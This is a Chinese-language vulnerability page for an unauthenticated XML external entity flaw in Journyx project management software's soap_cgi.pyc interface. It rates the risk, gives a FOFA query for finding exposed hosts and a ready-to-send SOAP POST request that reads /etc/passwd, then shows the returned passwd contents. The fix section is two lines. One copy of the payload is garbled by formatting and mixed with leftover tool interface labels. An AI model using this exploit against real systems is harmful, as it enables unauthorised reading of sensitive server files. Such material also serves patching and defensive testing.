

ournyx项目管理软件 soap_cgi.pyc XXE漏洞

漏洞描述

Journyx项目管理软件 soap_cgi.pyc 接口存在XML实体注入漏洞，未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件，获取敏感信息，使系统处于极不安全的状态。

影响版本
Journyx项目管理软件

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	高
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="Journyx"

POC/EXP:

POST /jtcgi/soap_cgi.pyc HTTP/1.1
Host: 127.0.0.1
User-Agent:Mozilla/5.0 (WindowsNT10.0;Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko)Chrome/96.0.4664.93Safari/537.36
Content-Type: application/xml

]><soapenv:Envelope xmlns:soapenv="<http://schemas.xmlsoap.org/soap/envelope/>">[soapenv:Header/soapenv:Body](#)&test;zzzzzz123/[soapenv:Body/soapenv:Envelope](#)

发送请求

强制 HTTPS

历史

数据包扫描

热加载

构造请求

Request

1

2

3

4

5

6

POST

/jtcgi/soap.cgi.pyc

HTTP/1.1

Host:

1

User-Agent:

Mozilla/5.0 (WindowsNT10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36

Content-Type:

application/xml

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test-SYSTEM "file:///etc/passwd">]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><changeUserPassword><username>test;</username><curpwd>zzz</curpwd><newpwd>zzz123</newpwd></changeUserPassword></soapenv:Body></soapenv:Envelope>

Responses

6622bytes / 1840ms

美化

详情

77

changeUserPassword

78

RuntimeError: incorrect or invalid password for user

79

root:x:0:0:root:/root:/bin/bash

80

bin:x:1:1:bin:/bin:/sbin/nologin

81

daemon:x:2:2:daemon:/sbin:/sbin/nologin

82

adm:x:3:4:adm:/var/adm:/sbin/nologin

83

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

84

sync:x:5:0:sync:/sbin:/bin/sync

85

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

86

halt:x:7:0:halt:/sbin:/sbin/halt

87

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

88

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

89

operator:x:11:0:operator:/root:/sbin/nologin

90

games:x:12:100:games:/usr/games:/sbin/nologin

91

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

92

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

93

nobody:x:99:99:Nobody:./:/sbin/nologin

94

dbus:x:81:81:System message bus:./:/sbin/nologin

95

rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin

96

usbmuxd:x:113:113:usbmuxd user:./:/sbin/nologin

97

abrt:x:173:173:./etc/abrt:/sbin/nologin

98

pegasus:x:66:65:tog-pegasus-OpenPegasus-WBEM/CIM-services:/var/lib/Pegasus:/sbin/nologin

99

cimsrvr:x:134:134:tog-pegasus-OpenPegasus-WBEM/CIM-services:/var/lib/Pegasus:/sbin/nologin

100

hsqldb:x:96:96:./var/lib/hsqldb:/sbin/nologin

101

oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin

rtkit:x:499:496:RealtimeKit:/proc:/sbin/nologin

修复方案

1. 关闭互联网暴露面或接口设置访问权限
- 升级至安全版本